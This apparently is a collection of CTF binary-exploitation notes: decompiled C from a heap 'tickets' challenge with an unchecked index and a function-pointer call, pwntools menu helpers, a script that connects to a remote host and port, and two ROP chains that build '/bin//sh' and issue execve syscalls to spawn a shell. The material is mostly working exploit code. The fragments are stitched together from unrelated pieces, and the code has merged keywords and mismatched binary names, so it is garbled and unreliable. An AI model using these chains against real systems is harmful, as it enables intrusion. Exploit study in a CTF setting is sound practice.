// local variable allocation has failed, the output may be wrong! int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { unsigned int v3; // [rsp+14h] [rbp-Ch] unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u); puts("Please tell me which tickets would you want to change it's owner's name?"); _isoc99_scanf("%d", &v2); getchar(); if ( v2 > number ) { puts("sorry you can't change this tickets!"); } else { buf = (void *)*list[v2]; puts("The length of my owner's name:"); _isoc99_scanf("%d", &v1); getchar(); puts("Give me my owner's name:"); read(0, buf, (unsignedint)(v1 - 1)); puts("OK! I know my owner's new name!"); } return __readfsqword(0x28u) ^ v4; }
v3 = __readfsqword(0x28u); puts("Please tell me which tickets would you want to open?"); _isoc99_scanf("%d", &v1); getchar(); if ( v1 > number ) { puts("sorry you can't open this tickets!"); } else { v2 = (void (__fastcall *)(_QWORD, unsignedint *))list[v1][1]; puts("I'm a magic tickets.I will tell you who is my owner!"); v2(*list[v1], &v1); } return __readfsqword(0x28u) ^ v3; }
defmalloc(size,string): p.recvuntil("Choice >> ") p.sendline('1') p.recvuntil("The length of my owner's name:") p.sendline(str(size)) p.recvuntil("Give me my owner's name:") p.send(string)
defput(idx): p.recvuntil("Choice >> ") p.sendline('2') p.recvuntil("Please tell me which tickets would you want to open?") p.sendline(str(idx))
defchange(idx,size,string): p.recvuntil("Choice >> ") p.sendline('3') p.recvuntil("Please tell me which tickets would you want to change it's owner's name?") p.sendline(str(idx)) p.recvuntil("The length of my owner's name:") p.sendline(str(size)) p.recvuntil("Give me my owner's name:") p.send(string)
#coding=utf8 from pwn import * from struct import pack context.log_level = 'debug' local = 1 elf = ELF('./__stkof') if local: i = process('./__stkof') libc = elf.libc else: i = remote('49.4.51.149',25391) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = '' p += p32(0x0806e9cb) # pop edx ; ret p += p32(0x080d9060) # @ .data p += p32(0x080a8af6) # pop eax ; ret p += '/bin' p += p32(0x08056a85) # mov dword ptr [edx], eax ; ret p += p32(0x0806e9cb) # pop edx ; ret p += p32(0x080d9064) # @ .data + 4 p += p32(0x080a8af6) # pop eax ; ret p += '//sh' p += p32(0x08056a85) # mov dword ptr [edx], eax ; ret p += p32(0x0806e9cb) # pop edx ; ret p += p32(0x080d9068) # @ .data + 8 p += p32(0x08056040) # xor eax, eax ; ret p += p32(0x08056a85) # mov dword ptr [edx], eax ; ret p += p32(0x080481c9) # pop ebx ; ret p += p32(0x080d9060) # @ .data p += p32(0x0806e9f2) # pop ecx ; pop ebx ; ret p += p32(0x080d9068) # @ .data + 8 p += p32(0x080d9060) # padding without overwrite ebx p += p32(0x0806e9cb) # pop edx ; ret p += p32(0x080d9068) # @ .data + 8 p += p32(0x08056040) # xor eax, eax ; ret p += p32(0x080a8af6) # pop eax; ret p += p32(11) p += p32(0x080495a3) # int 0x80
p1 = '' p1 += p64(0x0000000000405895) # pop rsi ; ret p1 += p64(0x00000000006a10e0) # @ .data p1 += p64(0x000000000043b97c) # pop rax ; ret p1 += '/bin//sh' p1 += p64(0x000000000046aea1) # mov qword ptr [rsi], rax ; ret p1 += p64(0x0000000000405895) # pop rsi ; ret p1 += p64(0x00000000006a10e8) # @ .data + 8 p1 += p64(0x0000000000436ed0) # xor rax, rax ; ret p1 += p64(0x000000000046aea1) # mov qword ptr [rsi], rax ; ret p1 += p64(0x00000000004005f6) # pop rdi ; ret p1 += p64(0x00000000006a10e0) # @ .data p1 += p64(0x0000000000405895) # pop rsi ; ret p1 += p64(0x00000000006a10e8) # @ .data + 8 p1 += p64(0x000000000043b9d5) # pop rdx ; ret p1 += p64(0x00000000006a10e8) # @ .data + 8 p1 += p64(0x000000000043b97c) # pop rax,59 p1 += p64(59) p1 += p64(0x0000000000461645)
defproof_of_work(prefix, target): skr = prefix.decode("hex") for i in range(256): for j in range(256): for k in range(256): r = chr(i) + chr(j) + chr(k) if hashlib.sha256(skr+r).hexdigest() == target: return (skr+r).encode("hex")
